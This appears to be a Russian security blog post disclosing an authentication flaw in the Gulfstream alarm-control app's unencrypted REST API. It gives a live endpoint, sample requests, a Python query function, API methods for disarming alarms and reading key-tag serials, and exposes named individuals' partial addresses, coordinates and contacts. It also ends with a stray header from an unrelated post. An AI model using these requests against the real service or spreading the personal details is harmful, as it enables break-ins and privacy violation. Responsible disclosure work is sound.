Переходя непосредственно к технической части нашего повествования, стоит ещё раз особо отметить, что компания "Expocod" располагает достоверной информацией о наличии уязвимости. Однако, ввиду того что данная уязвимость была обнаружена независимым исследователем безопасности, мы располагаем лишь частичными подробностями и не располагаем данными, которые могли были получены с использованием данной уязвимости. По договорённости с автором и с его разрешения мы публикуем технические подробности без указания важных деталей, знание которых необходимо для успешной эксплуатации.
Уязвимость существует в протоколе взаимодействия мобильного приложения (МП) с центром управления (ЦУ). На момент публикации, исследованным является протокол обмена между приложением для iOS (последняя версия приложения от 29/06/2017). Протокол представляет собой REST-подобный интерфейс, построенный поверх HTTP. Запросы к ЦУ имеют следующий формат:
POST http://195.19.222.170/GulfstreamWebServices/rest/[method] HTTP/1.1
Accept: */*,
Accept-Encoding: gzip, deflate
Accept-Language: en-us
Connection: keep-alive
Content-Type: application/json
Proxy-Connection: keep-alive
User-Agent: SecurityApp/190 CFNetwork/811.5.4 Darwin/16.7.0
{ userID: [userID], userToken: [userToken] }
Первое, что бросается в глаза — отсутствие какого-либо шифрования данных. То есть обмен критичной информацией между МП и ЦУ осуществляется по открытому каналу связи без какой-либо защиты от пассивного прослушивания! Не используется также и технология certificate pinning, которая могла бы способствовать защите от MiTM атак на канал управления. В нашем случае протокол легко анализируется с помощью приложения mitmproxy, использовать который может даже школьник (а ведь приложение управления сигнализацией создано для серьезных вещей).
Следующий шаг следует вероятно начать с описания таких параметров как userID
и userToken
. Очевидно, что userID
представляет собой идентификатор пользователя мобильного приложения, тогда как userToken
— токен, позволяющий данному пользователю получить доступ к функциям системы. Рассмотрим подробнее функцию регистрации пользователя в системе:
POST http://195.19.222.170/GulfstreamWebServices/rest/profile/register HTTP/1.1
Accept: */*,
Accept-Encoding: gzip, deflate
Accept-Language: en-us
Connection: keep-alive
Content-Type: application/json
Proxy-Connection: keep-alive
User-Agent: SecurityApp/190 CFNetwork/811.5.4 Darwin/16.7.0
{ contractNumber: [contractNumber], deviceToken: [deviceToken], deviceType: 1 }
Данная функция осуществляет регистрацию МП в системе. Параметрами регистрации являются номер договора и уникальный идентификатор устройства. Ниже представлены ответы системы на попытки регистрации нового устройства для одного и того же договора с разными значениями deviceToken
:
deviceToken = E3cDC2DdCdf75afc5865DBE2Ead3a4BB2fdB2CabBD441ADDaaa81ea8Dfd9C9ae
Reply >> {"IsError":false,"ErrorObj":null,"Result":{"userID":71671,"userToken":"dkJCRVg=","contractNumber":"495020xxxx","phone":"7******7007"}}
deviceToken = 7e3280581591Af0e5eaabadbE5b33B0Af84e20CBBd16226a22f5C3570A02B341
Reply >> {"IsError":false,"ErrorObj":null,"Result":{"userID":72033,"userToken":"dkFEQVo=","contractNumber":"495020xxxx","phone":"7******7007"}}
deviceToken = aEd42FB8CBf8Af3E9Ec6Af8cad0C4deF2eaeF200EaBFf4DDFeeDFF4106CC703A
Reply >> {"IsError":false,"ErrorObj":null,"Result":{"userID":72072,"userToken":"dkFERVs=","contractNumber":"495020xxxx","phone":"7******7007"}}
Как видно, ответом на запрос является JSON-структура, содержащая в том числе поля userID
и userToken
. Кроме того, в ответе есть частично скрытый номер телефона владельца контракта. Также можно видеть, что в данный момент в системе около 72 тысяч пользователей (или попыток регистрации МП, т.к. каждая попытка с новым deviceToken
выдаёт новый "уникальный" userID
).
Однако самым удивительным открытием является следующее: номера userID
выдаются последовательно, а в структуре токена userToken
прослеживается некая закономерность… Можно предположить, что userToken
каким-то образом зависит от userID
, то есть userToken = f(userID)
. Но что это за функция?
Мы не располагаем информацией каким именно образом исследователю безопасности, который связался с нами и передал данную инфомацию, удалось установить точную функцию, но по его словам этой функцией оказался… обычный XOR!
Таким образом, зная диапазон значений userID
(0..72k) и функцию, по которой вычислять userToken
, можно получить доступ, например, к следующим REST API системы:
GulfstreamWebServices/rest/profile/updateUserDeviceToken
GulfstreamWebServices/rest/profile/getCustomerDetails
GulfstreamWebServices/rest/profile/getCustomerProfileImage
GulfstreamWebServices/rest/panel/getEstimateArmState
GulfstreamWebServices/rest/panel/setArmState
GulfstreamWebServices/rest/panel/getEventHistory
GulfstreamWebServices/rest/panel/getNotifications
GulfstreamWebServices/rest/panel/getAvailableNotificationExtendedList
GulfstreamWebServices/rest/panel/getNotificationState
GulfstreamWebServices/rest/panel/getRemoteTags
GulfstreamWebServices/rest/panel/updateRemoteTagState
GulfstreamWebServices/rest/panel/getVideo
GulfstreamWebServices/rest/panel/getAllVideos
GulfstreamWebServices/rest/panel/getPanelCameraList
Представленный список отнюдь не является полным. В совокупности с возможностью перебора идентификации пользователей можно получить полную базу данных объектов охраны. Так, например, ниже представлена python-функция, запрашивающая информацию о пользователе:
def gs_api_get_customer_details(u, t):
r = s.post(
'http://195.19.222.170/GulfstreamWebServices/rest/profile/getCustomerDetails',
headers = {
'Accept': '*/*',
'Accept-Encoding': 'gzip, '
'deflate',
'Accept-Language': 'en-us',
'Connection': 'keep-alive',
'Content-Type': 'application/json',
'Proxy-Connection': 'keep-alive',
'User-Agent': 'SecurityApp/190 '
'CFNetwork/811.5.4 '
'Darwin/16.7.0' },
json = {
'userID': u,
'userToken': t
}
)
return r.json()
Проверим, что можно получить используя API profile/getCustomerDetails
для пользователя с userID = 296
:
{'IsError': False, 'ErrorObj': None, 'Result': {'contractNumber': '71/*****', 'fullName': 'Письман Вениамин Фоневич', 'address': 'обл. Московская, р-н Одинцовский, д. Ж******, тер Ж******-21, уч. *****', 'accountStatus': 1001, 'paidTill': '2017-12-31 00:00', 'debt': '-9560.00', 'hardwareType': 2002, 'hardwareHasAddendum': False, 'hardwareHasNightMode': True, 'panelID': '*****58', 'activationCode': '', 'intercomCode': '', 'email': 'v*****n@gulfstream.ru', 'telephone': '7910*****38', 'homeTelephone': '+7 (495) *****-82', 'workTelephone': '', 'monthlyFee': '2390.0', 'paymentSiteURL': 'http://www.gulfstream.ru/abonents/payment/?from=app&contractID=71/*****&debt=0', 'userID': 296, 'userToken': '*****', 'deviceToken': None, 'deviceType': 0, 'accountName': None, 'averagePanelTime': 25, 'averagePanelTimeEnd': 120, 'shouldShowPaymentInfo': True, 'isPhotoSupported': False, 'isRemoteTagsSupported': False, 'longitude': *****, 'latitude': *****, 'timeZone': 'Europe/Moscow', 'balance': 9560.0, 'smartPlugTimeout': 80, 'isSmartPlugsSupported': False, 'isTemperatureReadingSupported': False, 'temperatureSensorTimeout': 80, 'timeZoneName': 'Москва (GMT+3)', 'timeZoneOffset': 180}}
Как видно, адрес объекта (скрыт намеренно) принажделжит НП "Жуковка-21", соучредителем которого, по информации из открытых источников, является сам
уважаемый Вениамин Фоневич:
Итак, некто с userID = 296
является до невозможности похожим на учредителя компании "ГОЛЬФСТРИМ". Информация, полученная ранее из публичных источников подтверждает подлинность этих данных.
Другим интересным методом API является panel/getVideo
. С его помощью можно получить видео с камер, установленных на объекте в случае, если сигнализация оборудована соответствующим оборудованием. Для примера посмотрим видео пользователя с userID = 70072
:
{'IsError': False, 'ErrorObj': None, 'Result': {'contractNumber': '******', 'fullName': 'Тетовый Сахарный Андрей Инженерович', 'address': 'г. Москва, ул. Бутырская, д. 62', 'accountStatus': 1001, 'paidTill': '2016-04-26 00:00', 'debt': '0.00', 'hardwareType': 2004, 'hardwareHasAddendum': False, 'hardwareHasNightMode': True, 'panelID': '00146737', 'activationCode': '', 'intercomCode': '', 'email': 'csm_tech@gulfstream.ru', 'telephone': '7926322****', 'homeTelephone': '7495980****', 'workTelephone': '', 'monthlyFee': '690.0', 'paymentSiteURL': 'http://www.gulfstream.ru/abonents/payment/?from=app&contractID=*****&debt=0', 'userID': 70072, 'userToken': '*****', 'deviceToken': None, 'deviceType': 0, 'accountName': 'Мой дом', 'averagePanelTime': 25, 'averagePanelTimeEnd': 120, 'shouldShowPaymentInfo': True, 'isPhotoSupported': True, 'isRemoteTagsSupported': True, 'longitude': 37.583751, 'latitude': 55.803008, 'timeZone': 'Europe/Moscow', 'balance': 0.0, 'smartPlugTimeout': 80, 'isSmartPlugsSupported': True, 'isTemperatureReadingSupported': True, 'temperatureSensorTimeout': 80, 'timeZoneName': 'Москва (GMT+3)', 'timeZoneOffset': 180}}
Вероятно, данный объект представляет собой офис компании "ГОЛЬФСТРИМ".
Ещё одной интересной функцией является функция запроса информации о бесконтактных ключах: panel/getRemoteTags
. С оборудованных бесконтактными ключами объектов можно получить информацию не только о серийных номерах ключей (что даст возможность сделать дубликат ключа), но также и отключить те или иные ключи, а также заменить их серийные номера. Следующая картинка демонстрирует использование mitmproxy и отображает серийники ключей для тестового стенда, расположенного в офисе компании (всё тот же userID = 70072
, Паше и Коле — привет):
Ну и в завершении отметим, что помимо запроса информации с объектов данный протокол позволяет управлять состоянием сигнализации. Используя panel/setArmState
можно включить и выключить сигнализацию на любом из 70 тысяч объектов не вставая с дивана. Занавес.
Подводя итог нашему сумбурному изложению отметим, что в системе управления сигнализацией, разработанной компанией "ГОЛЬФСТРИМ", существуют ошибки, позволяющие как минимум:
Мы честно пытались довести данную информацию до представителей компании ГОЛЬФСТРИМ, а также до её руководства в течение без малого 2-х месяцев с момента получения нами данной информации. До настоящего времени данная ошибка НЕ исправлена. Можно только предположить, кто, как и в каких целях мог её использовать...
Резонно возникает вопрос — если учредитель компании доверяет охрану свого дома ГОЛЬФСТРИМу, то может ли это являться примером для подражания обычным гражданам, желающим "иметь право на безопасность"?
Наш ответ — НЕТ!
Также занимательно, что в числе объектов охраны ГОЛЬФСТРИМа есть объекты ФСО и УДП, расположенные на Рублево-Успенском шоссе, а также важные коммунальные госкомпании...
Интересно будет ли доволен директор ФСО Кочнев Д.В., узнав что на ряд ведомственных объектов можно пробраться кликнув мышкой? Впрочем добраться ему до господина Письмана и призвать к ответу за халатность, живущего судя по записям (ведь он же патриот собственной системы) рядышком в Жуковке, легко и просто – буквально рукой подать, а еще лучше прислать черный воронок.
P.S. Отдельно стоит отметить стиль общения СБ Гольфстрима и его сотрудников — то самое слово на г. в заголовке, которое первое приходит на ум после разговора (запись имеется).
Метки: author EXPOCOD информационная безопасность epicfail гольфстрим гопота |
Хостинг для стартапа: конструктор, облака или свое железо? |
Метки: author friifond управление проектами управление продуктом развитие стартапа блог компании фонд развития интернет-инициатив хостинг shared vps vds стартап |